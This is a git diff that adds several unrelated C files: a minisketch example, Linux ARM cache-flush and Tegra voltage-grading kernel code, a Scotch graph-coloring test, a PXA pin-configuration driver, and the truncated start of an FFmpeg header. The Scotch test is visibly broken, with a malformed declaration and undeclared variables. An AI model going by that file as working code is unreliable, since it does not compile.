index 0000000000000000000000000000000000000000..7279165845efc230d9781cecf99107231722ffbc
--- /dev/null
+++ b/pool/shard001/C/0024493_example.c
@@ -0,0 +1,51 @@
+/**********************************************************************
+ * Copyright (c) 2018 Pieter Wuille, Greg Maxwell, Gleb Naumenko      *
+ * Distributed under the MIT software license, see the accompanying   *
+ * file LICENSE or http://www.opensource.org/licenses/mit-license.php.*
+ **********************************************************************/
+
+#include <stdio.h>
+#include <assert.h>
+#include "../include/minisketch.h"
+
+int main(void) {
+
+  minisketch *sketch_a = minisketch_create(12, 0, 4);
+
+  for (int i = 3000; i < 3010; ++i) {
+    minisketch_add_uint64(sketch_a, i);
+  }
+
+  size_t sersize = minisketch_serialized_size(sketch_a);
+  assert(sersize == 12 * 4 / 8); // 4 12-bit values is 6 bytes.
+  unsigned char *buffer_a = malloc(sersize);
+  minisketch_serialize(sketch_a, buffer_a);
+  minisketch_destroy(sketch_a);
+
+  minisketch *sketch_b = minisketch_create(12, 0, 4); // Bob's own sketch
+  for (int i = 3002; i < 3012; ++i) {
+    minisketch_add_uint64(sketch_b, i);
+  }
+
+  sketch_a = minisketch_create(12, 0, 4);     // Alice's sketch
+  minisketch_deserialize(sketch_a, buffer_a); // Load Alice's sketch
+  free(buffer_a);
+
+  // Merge the elements from sketch_a into sketch_b. The result is a sketch_b
+  // which contains all elements that occurred in Alice's or Bob's sets, but not
+  // in both.
+  minisketch_merge(sketch_b, sketch_a);
+
+  uint64_t differences[4];
+  ssize_t num_differences = minisketch_decode(sketch_b, 4, differences);
+  minisketch_destroy(sketch_a);
+  minisketch_destroy(sketch_b);
+  if (num_differences < 0) {
+    printf("More than 4 differences!\n");
+  } else {
+    ssize_t i;
+    for (i = 0; i < num_differences; ++i) {
+      printf("%u is in only one of the two sets\n", (unsigned)differences[i]);
+    }
+  }
+}
diff --git a/pool/shard001/C/0024495_flush.c b/pool/shard001/C/0024495_flush.c
new file mode 100644
index 0000000000000000000000000000000000000000..73b886e81e2966d7dcfcc82248d91af3edacefcb
--- /dev/null
+++ b/pool/shard001/C/0024495_flush.c
@@ -0,0 +1,258 @@
+/*
+ *  linux/arch/arm/mm/flush.c
+ *
+ *  Copyright (C) 1995-2002 Russell King
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+#include <linux/module.h>
+#include <linux/mm.h>
+#include <linux/pagemap.h>
+
+#include <asm/cacheflush.h>
+#include <asm/cachetype.h>
+#include <asm/system.h>
+#include <asm/tlbflush.h>
+
+#include "mm.h"
+
+#ifdef CONFIG_CPU_CACHE_VIPT
+
+#define ALIAS_FLUSH_START	0xffff4000
+
+static void flush_pfn_alias(unsigned long pfn, unsigned long vaddr)
+{
+	unsigned long to = ALIAS_FLUSH_START + (CACHE_COLOUR(vaddr) << PAGE_SHIFT);
+	const int zero = 0;
+
+	set_pte_ext(TOP_PTE(to), pfn_pte(pfn, PAGE_KERNEL), 0);
+	flush_tlb_kernel_page(to);
+
+	asm(	"mcrr	p15, 0, %1, %0, c14\n"
+	"	mcr	p15, 0, %2, c7, c10, 4\n"
+#ifndef CONFIG_ARM_ERRATA_411920
+	"	mcr	p15, 0, %2, c7, c5, 0\n"
+#else
+	"	bl	v6_icache_inval_all\n"
+#endif
+	    :
+	    : "r" (to), "r" (to + PAGE_SIZE - L1_CACHE_BYTES), "r" (zero)
+	    : "r0", "r1", "lr");
+}
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	if (cache_is_vivt()) {
+		if (cpu_isset(smp_processor_id(), mm->cpu_vm_mask))
+			__cpuc_flush_user_all();
+		return;
+	}
+
+	if (cache_is_vipt_aliasing()) {
+		asm(	"mcr	p15, 0, %0, c7, c14, 0\n"
+		"	mcr	p15, 0, %0, c7, c10, 4\n"
+#ifndef CONFIG_ARM_ERRATA_411920
+		"	mcr	p15, 0, %0, c7, c5, 0\n"
+#else
+		"	bl	v6_icache_inval_all\n"
+#endif
+		    :
+		    : "r" (0)
+		    : "r0", "r1", "lr", "cc");
+	}
+}
+
+void flush_cache_range(struct vm_area_struct *vma, unsigned long start, unsigned long end)
+{
+	if (cache_is_vivt()) {
+		if (cpu_isset(smp_processor_id(), vma->vm_mm->cpu_vm_mask))
+			__cpuc_flush_user_range(start & PAGE_MASK, PAGE_ALIGN(end),
+						vma->vm_flags);
+		return;
+	}
+
+	if (cache_is_vipt_aliasing()) {
+		asm(	"mcr	p15, 0, %0, c7, c14, 0\n"
+		"	mcr	p15, 0, %0, c7, c10, 4\n"
+#ifndef CONFIG_ARM_ERRATA_411920
+		"	mcr	p15, 0, %0, c7, c5, 0\n"
+#else
+		"	bl	v6_icache_inval_all\n"
+#endif
+		    :
+		    : "r" (0)
+		    : "r0", "r1", "lr", "cc");
+	}
+}
+
+void flush_cache_page(struct vm_area_struct *vma, unsigned long user_addr, unsigned long pfn)
+{
+	if (cache_is_vivt()) {
+		if (cpu_isset(smp_processor_id(), vma->vm_mm->cpu_vm_mask)) {
+			unsigned long addr = user_addr & PAGE_MASK;
+			__cpuc_flush_user_range(addr, addr + PAGE_SIZE, vma->vm_flags);
+		}
+		return;
+	}
+
+	if (cache_is_vipt_aliasing())
+		flush_pfn_alias(pfn, user_addr);
+}
+
+void flush_ptrace_access(struct vm_area_struct *vma, struct page *page,
+			 unsigned long uaddr, void *kaddr,
+			 unsigned long len, int write)
+{
+	if (cache_is_vivt()) {
+		if (cpu_isset(smp_processor_id(), vma->vm_mm->cpu_vm_mask)) {
+			unsigned long addr = (unsigned long)kaddr;
+			__cpuc_coherent_kern_range(addr, addr + len);
+		}
+		return;
+	}
+
+	if (cache_is_vipt_aliasing()) {
+		flush_pfn_alias(page_to_pfn(page), uaddr);
+		return;
+	}
+
+	/* VIPT non-aliasing cache */
+	if (cpu_isset(smp_processor_id(), vma->vm_mm->cpu_vm_mask) &&
+	    vma->vm_flags & VM_EXEC) {
+		unsigned long addr = (unsigned long)kaddr;
+		/* only flushing the kernel mapping on non-aliasing VIPT */
+		__cpuc_coherent_kern_range(addr, addr + len);
+	}
+}
+#else
+#define flush_pfn_alias(pfn,vaddr)	do { } while (0)
+#endif
+
+void __flush_dcache_page(struct address_space *mapping, struct page *page)
+{
+	/*
+	 * Writeback any data associated with the kernel mapping of this
+	 * page.  This ensures that data in the physical page is mutually
+	 * coherent with the kernels mapping.
+	 */
+	__cpuc_flush_dcache_page(page_address(page));
+
+	/*
+	 * If this is a page cache page, and we have an aliasing VIPT cache,
+	 * we only need to do one flush - which would be at the relevant
+	 * userspace colour, which is congruent with page->index.
+	 */
+	if (mapping && cache_is_vipt_aliasing())
+		flush_pfn_alias(page_to_pfn(page),
+				page->index << PAGE_CACHE_SHIFT);
+}
+
+static void __flush_dcache_aliases(struct address_space *mapping, struct page *page)
+{
+	struct mm_struct *mm = current->active_mm;
+	struct vm_area_struct *mpnt;
+	struct prio_tree_iter iter;
+	pgoff_t pgoff;
+
+	/*
+	 * There are possible user space mappings of this page:
+	 * - VIVT cache: we need to also write back and invalidate all user
+	 *   data in the current VM view associated with this page.
+	 * - aliasing VIPT: we only need to find one mapping of this page.
+	 */
+	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
+
+	flush_dcache_mmap_lock(mapping);
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		unsigned long offset;
+
+		/*
+		 * If this VMA is not in our MM, we can ignore it.
+		 */
+		if (mpnt->vm_mm != mm)
+			continue;
+		if (!(mpnt->vm_flags & VM_MAYSHARE))
+			continue;
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		flush_cache_page(mpnt, mpnt->vm_start + offset, page_to_pfn(page));
+	}
+	flush_dcache_mmap_unlock(mapping);
+}
+
+/*
+ * Ensure cache coherency between kernel mapping and userspace mapping
+ * of this page.
+ *
+ * We have three cases to consider:
+ *  - VIPT non-aliasing cache: fully coherent so nothing required.
+ *  - VIVT: fully aliasing, so we need to handle every alias in our
+ *          current VM view.
+ *  - VIPT aliasing: need to handle one alias in our current VM view.
+ *
+ * If we need to handle aliasing:
+ *  If the page only exists in the page cache and there are no user
+ *  space mappings, we can be lazy and remember that we may have dirty
+ *  kernel cache lines for later.  Otherwise, we assume we have
+ *  aliasing mappings.
+ *
+ * Note that we disable the lazy flush for SMP.
+ */
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+#ifndef CONFIG_SMP
+	if (mapping && !mapping_mapped(mapping))
+		set_bit(PG_dcache_dirty, &page->flags);
+	else
+#endif
+	{
+		__flush_dcache_page(mapping, page);
+		if (mapping && cache_is_vivt())
+			__flush_dcache_aliases(mapping, page);
+		else if (mapping)
+			__flush_icache_all();
+	}
+}
+EXPORT_SYMBOL(flush_dcache_page);
+
+/*
+ * Flush an anonymous page so that users of get_user_pages()
+ * can safely access the data.  The expected sequence is:
+ *
+ *  get_user_pages()
+ *    -> flush_anon_page
+ *  memcpy() to/from page
+ *  if written to page, flush_dcache_page()
+ */
+void __flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr)
+{
+	unsigned long pfn;
+
+	/* VIPT non-aliasing caches need do nothing */
+	if (cache_is_vipt_nonaliasing())
+		return;
+
+	/*
+	 * Write back and invalidate userspace mapping.
+	 */
+	pfn = page_to_pfn(page);
+	if (cache_is_vivt()) {
+		flush_cache_page(vma, vmaddr, pfn);
+	} else {
+		/*
+		 * For aliasing VIPT, we can flush an alias of the
+		 * userspace address only.
+		 */
+		flush_pfn_alias(pfn, vmaddr);
+	}
+
+	/*
+	 * Invalidate kernel mapping.  No data should be contained
+	 * in this mapping of the page.  FIXME: this is overkill
+	 * since we actually ask for a write-back and invalidate.
+	 */
+	__cpuc_flush_dcache_page(page_address(page));
+}
diff --git a/pool/shard001/C/0024500_tegra_simon.c b/pool/shard001/C/0024500_tegra_simon.c
new file mode 100644
index 0000000000000000000000000000000000000000..37da0716265592450ddf5f0e38ee4f37f180fc6e
--- /dev/null
+++ b/pool/shard001/C/0024500_tegra_simon.c
@@ -0,0 +1,259 @@
+/*
+ * arch/arm/mach-tegra/tegra_simon.c
+ *
+ * Copyright (c) 2013, NVIDIA CORPORATION. All rights reserved.
+ *
+ * This software is licensed under the terms of the GNU General Public
+ * License version 2, as published by the Free Software Foundation, and
+ * may be copied, distributed, and modified under those terms.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/err.h>
+#include <linux/debugfs.h>
+#include <linux/seq_file.h>
+#include <linux/hrtimer.h>
+#include <linux/thermal.h>
+#include <linux/regulator/consumer.h>
+
+#include "tegra_simon.h"
+
+static DEFINE_MUTEX(simon_lock);
+static RAW_NOTIFIER_HEAD(simon_nh);
+static void tegra_simon_grade_update(struct work_struct *work);
+
+static u32 grading_sec = TEGRA_SIMON_GRADING_INTERVAL_SEC;
+
+static struct tegra_simon_grader simon_graders[TEGRA_SIMON_DOMAIN_NUM] = {
+	[TEGRA_SIMON_DOMAIN_CPU] = {
+		.domain_name = "cpu",
+		.domain = TEGRA_SIMON_DOMAIN_CPU,
+	},
+	[TEGRA_SIMON_DOMAIN_GPU] = {
+		.domain_name = "gpu",
+		.domain = TEGRA_SIMON_DOMAIN_GPU,
+	},
+};
+
+/*
+ * GPU grading is implemented within vdd_gpu post-change notification chain that
+ * guarantees constant voltage during grading. First grading after boot can be
+ * executed anytime set voltage is below specified threshold, next grading is
+ * always separated by the grading interval from the last successful grading.
+ */
+static int tegra_simon_gpu_grading_cb(
+	struct notifier_block *nb, unsigned long event, void *v)
+{
+	int mv = (int)((long)v);
+	struct tegra_simon_grader *grader = container_of(
+		nb, struct tegra_simon_grader, grading_condition_nb);
+	ktime_t now = ktime_get();
+	unsigned long t;
+	int grade = 0;
+
+	if (!(event & REGULATOR_EVENT_OUT_POSTCHANGE))
+		return NOTIFY_DONE;
+
+	mv = (mv > 0) ? mv / 1000 : mv;
+	if ((mv <= 0) || (mv > grader->grading_mv_limit))
+		return NOTIFY_OK;
+
+	if (grader->last_grading.tv64 &&
+	    (ktime_to_ms(ktime_sub(now, grader->last_grading)) <
+	     (s64)grading_sec * 1000))
+		return NOTIFY_OK;
+
+	if (thermal_zone_get_temp(grader->tzd, &t)) {
+		pr_err("%s: Failed to get %s temperature\n",
+		       __func__, grader->domain_name);
+		return NOTIFY_OK;
+	}
+
+	if (grader->grade_simon_domain) {
+		grade = grader->grade_simon_domain(grader->domain, mv, t);
+		if (grade < 0) {
+			pr_err("%s: Failed to grade %s\n",
+			       __func__, grader->domain_name);
+			return NOTIFY_OK;
+		}
+	}
+
+	grader->last_grading = now;
+	if (grader->grade != grade) {
+		set_mb(grader->grade, grade);
+		schedule_work(&grader->grade_update_work);
+	}
+	pr_info("%s: graded %s: v = %d, t = %lu, grade = %d\n",
+		__func__, grader->domain_name, mv, t, grade);
+	return NOTIFY_OK;
+}
+
+static int __init tegra_simon_init_gpu(void)
+{
+	struct tegra_simon_grader *grader =
+		&simon_graders[TEGRA_SIMON_DOMAIN_GPU];
+	struct regulator *reg;
+
+	INIT_WORK(&grader->grade_update_work, tegra_simon_grade_update);
+
+	grader->tzd = thermal_zone_device_find_by_name("GPU-therm");
+	if (!grader->tzd) {
+		pr_err("%s: Failed to find %s thermal zone\n",
+		       __func__, grader->domain_name);
+		return -ENOENT;
+	}
+
+	reg = regulator_get(NULL, "vdd_gpu_simon");
+	if (IS_ERR(reg)) {
+		pr_err("%s: Failed to get vdd_%s regulator\n",
+		       __func__, grader->domain_name);
+		return PTR_ERR(reg);
+	}
+
+	grader->grading_condition_nb.notifier_call = tegra_simon_gpu_grading_cb;
+	regulator_register_notifier(reg, &grader->grading_condition_nb);
+	regulator_put(reg);
+
+	/* FIXME: settings below are tegar12_ specific */
+	grader->grading_mv_limit = 850;
+	grader->grade_simon_domain = NULL;
+
+	return 0;
+}
+
+static int __init tegra_simon_init_cpu(void)
+{
+	struct tegra_simon_grader *grader =
+		&simon_graders[TEGRA_SIMON_DOMAIN_CPU];
+
+	INIT_WORK(&grader->grade_update_work, tegra_simon_grade_update);
+
+	return 0;
+}
+
+int tegra_register_simon_notifier(struct notifier_block *nb)
+{
+	int ret;
+
+	mutex_lock(&simon_lock);
+	ret = raw_notifier_chain_register(&simon_nh, nb);
+	mutex_unlock(&simon_lock);
+	return ret;
+}
+
+void tegra_unregister_simon_notifier(struct notifier_block *nb)
+{
+	mutex_lock(&simon_lock);
+	raw_notifier_chain_unregister(&simon_nh, nb);
+	mutex_unlock(&simon_lock);
+}
+
+static void tegra_simon_grade_update(struct work_struct *work)
+{
+	struct tegra_simon_grader *grader = container_of(
+		work, struct tegra_simon_grader, grade_update_work);
+
+	mutex_lock(&simon_lock);
+	raw_notifier_call_chain(&simon_nh, grader->grade,
+				(void *)((long)grader->domain));
+	mutex_unlock(&simon_lock);
+}
+
+#ifdef CONFIG_DEBUG_FS
+
+static int grade_get(void *data, u64 *val)
+{
+	struct tegra_simon_grader *grader = data;
+
+	if (grader->domain >= TEGRA_SIMON_DOMAIN_NUM) {
+		*val = -EINVAL;
+		return -EINVAL;
+	}
+
+	*val = grader->grade;
+	return 0;
+}
+static int grade_set(void *data, u64 val)
+{
+	struct tegra_simon_grader *grader = data;
+
+	if (grader->domain >= TEGRA_SIMON_DOMAIN_NUM)
+		return -EINVAL;
+
+	if (grader->grade != (int)val) {
+		grader->grade = (int)val;
+		schedule_work(&grader->grade_update_work);
+	}
+	return 0;
+}
+DEFINE_SIMPLE_ATTRIBUTE(grade_fops, grade_get, grade_set, "%llu\n");
+
+static int __init simon_debugfs_init_domain(struct dentry *dir,
+					    struct tegra_simon_grader *grader)
+{
+	struct dentry *d;
+
+	d = debugfs_create_dir(grader->domain_name, dir);
+	if (!d)
+		return -ENOMEM;
+
+	if (!debugfs_create_file("grade", S_IWUSR | S_IRUGO, d,
+				 (void *)grader, &grade_fops))
+		return -ENOMEM;
+
+	return 0;
+}
+
+static int __init simon_debugfs_init(void)
+{
+	int i;
+	struct tegra_simon_grader *grader;
+	struct dentry *dir;
+
+	dir = debugfs_create_dir("tegra_simon", NULL);
+	if (!dir)
+		return -ENOMEM;
+
+	if (!debugfs_create_u32("grading_sec", S_IWUSR | S_IRUGO, dir,
+				&grading_sec))
+		goto err_out;
+
+	for (i = 0; i < TEGRA_SIMON_DOMAIN_NUM; i++) {
+		grader = &simon_graders[i];
+
+		if (!grader->domain_name)
+			continue;
+
+		if (simon_debugfs_init_domain(dir, grader))
+			goto err_out;
+	}
+
+	return 0;
+
+err_out:
+	debugfs_remove_recursive(dir);
+	return -ENOMEM;
+}
+#endif
+
+static int __init tegra_simon_init(void)
+{
+	tegra_simon_init_gpu();
+	tegra_simon_init_cpu();
+
+#ifdef CONFIG_DEBUG_FS
+	simon_debugfs_init();
+#endif
+	return 0;
+
+}
+late_initcall_sync(tegra_simon_init);
+
diff --git a/pool/shard001/C/0024524_test_scotch_arch.c b/pool/shard001/C/0024524_test_scotch_arch.c
new file mode 100644
index 0000000000000000000000000000000000000000..d955b35a3f8e9511fa6308cca2056d70a8c3335a
--- /dev/null
+++ b/pool/shard001/C/0024524_test_scotch_arch.c
@@ -0,0 +1,135 @@
+/* Copyright 2014 IPB, Universite de Bordeaux, INRIA & CNRS
+**
+** This file is part of the Scotch software package for static mapping,
+** graph partitioning and sparse matrix ordering.
+**
+** This software is governed by the CeCILL-C license under French law
+** and abiding by the rules of distribution of free software. You can
+** use, modify and/or redistribute the software under the terms of the
+** CeCILL-C license as circulated by CEA, CNRS and INRIA at the following
+** URL: "http://www.cecill.info".
+** 
+** As a counterpart to the access to the source code and rights to copy,
+** modify and redistribute granted by the license, users are provided
+** only with a limited warranty and the software's author, the holder of
+** the economic rights, and the successive licensors have only limited
+** liability.
+** 
+** In this respect, the user's attention is drawn to the risks associated
+** with loading, using, modifying and/or developing or reproducing the
+** software by the user in light of its specific status of free software,
+** that may mean that it is complicated to manipulate, and that also
+** therefore means that it is reserved for developers and experienced
+** professionals having in-depth computer knowledge. Users are therefore
+** encouraged to load and test the software's suitability as regards
+** their requirements in conditions enabling the security of their
+** systems and/or data to be ensured and, more generally, to use and
+** operate it in the same conditions as regards security.
+** 
+** The fact that you are presently reading this means that you have had
+** knowledge of the CeCILL-C license and that you accept its terms.
+*/
+/************************************************************/
+/**                                                        **/
+/**   NAME       : test_scotch_arch.c                      **/
+/**                                                        **/
+/**   AUTHOR     : Francois PELLEGRINI                     **/
+/**                                                        **/
+/**   FUNCTION   : This module tests the operation of      **/
+/**                the SCOTCH_arch*() routines.            **/
+/**                                                        **/
+/**   DATES      : # Version 6.0  : from : 25 jun 2014     **/
+/**                                 to     25 jun 2014     **/
+/**                                                        **/
+/************************************************************/
+
+/*
+**  The defines and includes.
+*/
+
+#include <stdio.h>
+#if (((defined __STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || (defined HAVE_STDINT_H))
+#include <stdint.h>
+#endif /* (((defined __STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || (defined HAVE_STDINT_H)) */
+#include <stdlib.h>
+#include <string.h>
+
+#include "scotch.h"
+
+
+  int
+  SCOTCH_Arch         archdat;
+
+/*********************/
+/*                   */
+/* The main routine. */
+/*                   */
+/*********************/
+
+int
+main (
+int                 argc,
+char *              argv[])
+{
+
+  SCOTCH_Num          baseval;
+  SCOTCH_Num          vertnbr;
+  SCOTCH_Num          vertnum;
+  SCOTCH_Num          colonbr;
+  SCOTCH_Num          colonum;
+  SCOTCH_Num *        colotab;
+  SCOTCH_Num *        cnbrtab;
+
+  SCOTCH_errorProg (argv[0]);
+
+  if (SCOTCH_graphInit (&grafdat) != 0) {         /* Initialize source graph */
+    SCOTCH_errorPrint ("main: cannot initialize graph");
+    return            (1);
+  }
+
+  if ((fileptr = fopen (argv[1], "r")) == NULL) {
+    SCOTCH_errorPrint ("main: cannot open file");
+    return            (1);
+  }
+
+  if (SCOTCH_graphLoad (&grafdat, fileptr, -1, 0) != 0) { /* Read source graph */
+    SCOTCH_errorPrint ("main: cannot load graph");
+    return            (1);
+  }
+
+  fclose (fileptr);
+
+  SCOTCH_graphSize (&grafdat, &vertnbr, NULL);
+
+  if ((colotab = malloc (vertnbr * sizeof (SCOTCH_Num))) == NULL) {
+    SCOTCH_errorPrint ("main: out of memory (1)");
+    return            (1);
+  }
+
+  if ((cnbrtab = malloc (vertnbr * sizeof (SCOTCH_Num))) == NULL) {
+    SCOTCH_errorPrint ("main: out of memory (1)");
+    return            (1);
+  }
+  memset (cnbrtab, 0, vertnbr * sizeof (SCOTCH_Num));
+
+  if (SCOTCH_graphColor (&grafdat, colotab, &colonbr, 0) != 0) {
+    SCOTCH_errorPrint ("main: cannot color graph");
+    return            (1);
+  }
+
+  printf ("Number of colors: %ld\n", (long) colonbr);
+
+  for (vertnum = 0; vertnum < vertnbr; vertnum ++) /* Sum-up color histogram */
+    cnbrtab[colotab[vertnum]] ++;
+
+  for (colonum = 0; colonum < colonbr; colonum ++)
+    printf ("Color %5ld: %ld\n",
+            (long) colonum,
+            (long) cnbrtab[colonum]);
+
+  free (cnbrtab);
+  free (colotab);
+  SCOTCH_graphExit (&grafdat);
+
+  return (0);
+}
diff --git a/pool/shard001/C/0024525_mfp.c b/pool/shard001/C/0024525_mfp.c
new file mode 100644
index 0000000000000000000000000000000000000000..a95fec21e0645d454780efdb7bfa6ff92464f7f0
--- /dev/null
+++ b/pool/shard001/C/0024525_mfp.c
@@ -0,0 +1,232 @@
+
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/io.h>
+#include <linux/sysdev.h>
+
+#include <plat/mfp.h>
+
+#define MFPR_SIZE	(PAGE_SIZE)
+
+
+#define MFPR_PULL_SEL		(0x1 << 15)
+#define MFPR_PULLUP_EN		(0x1 << 14)
+#define MFPR_PULLDOWN_EN	(0x1 << 13)
+#define MFPR_SLEEP_SEL		(0x1 << 9)
+#define MFPR_SLEEP_OE_N		(0x1 << 7)
+#define MFPR_EDGE_CLEAR		(0x1 << 6)
+#define MFPR_EDGE_FALL_EN	(0x1 << 5)
+#define MFPR_EDGE_RISE_EN	(0x1 << 4)
+
+#define MFPR_SLEEP_DATA(x)	((x) << 8)
+#define MFPR_DRIVE(x)		(((x) & 0x7) << 10)
+#define MFPR_AF_SEL(x)		(((x) & 0x7) << 0)
+
+#define MFPR_EDGE_NONE		(0)
+#define MFPR_EDGE_RISE		(MFPR_EDGE_RISE_EN)
+#define MFPR_EDGE_FALL		(MFPR_EDGE_FALL_EN)
+#define MFPR_EDGE_BOTH		(MFPR_EDGE_RISE | MFPR_EDGE_FALL)
+
+
+#define MFPR_LPM_INPUT		(0)
+#define MFPR_LPM_DRIVE_LOW	(MFPR_SLEEP_DATA(0) | MFPR_PULLDOWN_EN)
+#define MFPR_LPM_DRIVE_HIGH    	(MFPR_SLEEP_DATA(1) | MFPR_PULLUP_EN)
+#define MFPR_LPM_PULL_LOW      	(MFPR_LPM_DRIVE_LOW  | MFPR_SLEEP_OE_N)
+#define MFPR_LPM_PULL_HIGH     	(MFPR_LPM_DRIVE_HIGH | MFPR_SLEEP_OE_N)
+#define MFPR_LPM_FLOAT         	(MFPR_SLEEP_OE_N)
+#define MFPR_LPM_MASK		(0xe080)
+
+
+#define MFPR_PULL_NONE		(0)
+#define MFPR_PULL_LOW		(MFPR_PULL_SEL | MFPR_PULLDOWN_EN)
+#define MFPR_PULL_BOTH		(MFPR_PULL_LOW | MFPR_PULLUP_EN)
+#define MFPR_PULL_HIGH		(MFPR_PULL_SEL | MFPR_PULLUP_EN)
+#define MFPR_PULL_FLOAT		(MFPR_PULL_SEL)
+
+
+static DEFINE_SPINLOCK(mfp_spin_lock);
+
+static void __iomem *mfpr_mmio_base;
+
+struct mfp_pin {
+	unsigned long	config;		
+	unsigned long	mfpr_off;	
+	unsigned long	mfpr_run;	
+	unsigned long	mfpr_lpm;	
+};
+
+static struct mfp_pin mfp_table[MFP_PIN_MAX];
+
+
+static const unsigned long mfpr_lpm[] = {
+	MFPR_LPM_INPUT,
+	MFPR_LPM_DRIVE_LOW,
+	MFPR_LPM_DRIVE_HIGH,
+	MFPR_LPM_PULL_LOW,
+	MFPR_LPM_PULL_HIGH,
+	MFPR_LPM_FLOAT,
+};
+
+
+static const unsigned long mfpr_pull[] = {
+	MFPR_PULL_NONE,
+	MFPR_PULL_LOW,
+	MFPR_PULL_HIGH,
+	MFPR_PULL_BOTH,
+	MFPR_PULL_FLOAT,
+};
+
+
+static const unsigned long mfpr_edge[] = {
+	MFPR_EDGE_NONE,
+	MFPR_EDGE_RISE,
+	MFPR_EDGE_FALL,
+	MFPR_EDGE_BOTH,
+};
+
+#define mfpr_readl(off)			\
+	__raw_readl(mfpr_mmio_base + (off))
+
+#define mfpr_writel(off, val)		\
+	__raw_writel(val, mfpr_mmio_base + (off))
+
+#define mfp_configured(p)	((p)->config != -1)
+
+
+#define mfpr_sync()	(void)__raw_readl(mfpr_mmio_base + 0)
+
+static inline void __mfp_config_run(struct mfp_pin *p)
+{
+	if (mfp_configured(p))
+		mfpr_writel(p->mfpr_off, p->mfpr_run);
+}
+
+static inline void __mfp_config_lpm(struct mfp_pin *p)
+{
+	if (mfp_configured(p)) {
+		unsigned long mfpr_clr = (p->mfpr_run & ~MFPR_EDGE_BOTH) | MFPR_EDGE_CLEAR;
+		if (mfpr_clr != p->mfpr_run)
+			mfpr_writel(p->mfpr_off, mfpr_clr);
+		if (p->mfpr_lpm != mfpr_clr)
+			mfpr_writel(p->mfpr_off, p->mfpr_lpm);
+	}
+}
+
+void mfp_config(unsigned long *mfp_cfgs, int num)
+{
+	unsigned long flags;
+	int i;
+
+	spin_lock_irqsave(&mfp_spin_lock, flags);
+
+	for (i = 0; i < num; i++, mfp_cfgs++) {
+		unsigned long tmp, c = *mfp_cfgs;
+		struct mfp_pin *p;
+		int pin, af, drv, lpm, edge, pull;
+
+		pin = MFP_PIN(c);
+		BUG_ON(pin >= MFP_PIN_MAX);
+		p = &mfp_table[pin];
+
+		af  = MFP_AF(c);
+		drv = MFP_DS(c);
+		lpm = MFP_LPM_STATE(c);
+		edge = MFP_LPM_EDGE(c);
+		pull = MFP_PULL(c);
+
+		
+		tmp = MFPR_AF_SEL(af) | MFPR_DRIVE(drv);
+
+		if (likely(pull == MFP_PULL_NONE)) {
+			p->mfpr_run = tmp | mfpr_lpm[lpm] | mfpr_edge[edge];
+			p->mfpr_lpm = p->mfpr_run;
+		} else {
+			p->mfpr_lpm = tmp | mfpr_lpm[lpm] | mfpr_edge[edge];
+			p->mfpr_run = tmp | mfpr_pull[pull];
+		}
+
+		p->config = c; __mfp_config_run(p);
+	}
+
+	mfpr_sync();
+	spin_unlock_irqrestore(&mfp_spin_lock, flags);
+}
+
+unsigned long mfp_read(int mfp)
+{
+	unsigned long val, flags;
+
+	BUG_ON(mfp < 0 || mfp >= MFP_PIN_MAX);
+
+	spin_lock_irqsave(&mfp_spin_lock, flags);
+	val = mfpr_readl(mfp_table[mfp].mfpr_off);
+	spin_unlock_irqrestore(&mfp_spin_lock, flags);
+
+	return val;
+}
+
+void mfp_write(int mfp, unsigned long val)
+{
+	unsigned long flags;
+
+	BUG_ON(mfp < 0 || mfp >= MFP_PIN_MAX);
+
+	spin_lock_irqsave(&mfp_spin_lock, flags);
+	mfpr_writel(mfp_table[mfp].mfpr_off, val);
+	mfpr_sync();
+	spin_unlock_irqrestore(&mfp_spin_lock, flags);
+}
+
+void __init mfp_init_base(unsigned long mfpr_base)
+{
+	int i;
+
+	
+	for (i = 0; i < ARRAY_SIZE(mfp_table); i++)
+		mfp_table[i].config = -1;
+
+	mfpr_mmio_base = (void __iomem *)mfpr_base;
+}
+
+void __init mfp_init_addr(struct mfp_addr_map *map)
+{
+	struct mfp_addr_map *p;
+	unsigned long offset, flags;
+	int i;
+
+	spin_lock_irqsave(&mfp_spin_lock, flags);
+
+	for (p = map; p->start != MFP_PIN_INVALID; p++) {
+		offset = p->offset;
+		i = p->start;
+
+		do {
+			mfp_table[i].mfpr_off = offset;
+			mfp_table[i].mfpr_run = 0;
+			mfp_table[i].mfpr_lpm = 0;
+			offset += 4; i++;
+		} while ((i <= p->end) && (p->end != -1));
+	}
+
+	spin_unlock_irqrestore(&mfp_spin_lock, flags);
+}
+
+void mfp_config_lpm(void)
+{
+	struct mfp_pin *p = &mfp_table[0];
+	int pin;
+
+	for (pin = 0; pin < ARRAY_SIZE(mfp_table); pin++, p++)
+		__mfp_config_lpm(p);
+}
+
+void mfp_config_run(void)
+{
+	struct mfp_pin *p = &mfp_table[0];
+	int pin;
+
+	for (pin = 0; pin < ARRAY_SIZE(mfp_table); pin++, p++)
+		__mfp_config_run(p);
+}
diff --git a/pool/shard001/C/0024526_fmtconvert_mmx.c b/pool/shard001/C/0024526_fmtconvert_mmx.c
new file mode 100644
index 0000000000000000000000000000000000000000..a3d8f8981697a4a5d6f7b8dbbbc0f63821c8602d
--- /dev/null
+++ b/pool/shard001/C/0024526_fmtconvert_mmx.c
@@ -0,0 +1,143 @@
+/*
+ * Format Conversion Utils
+ * Copyright (c) 2000, 2001 Fabrice Bellard
+ * Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
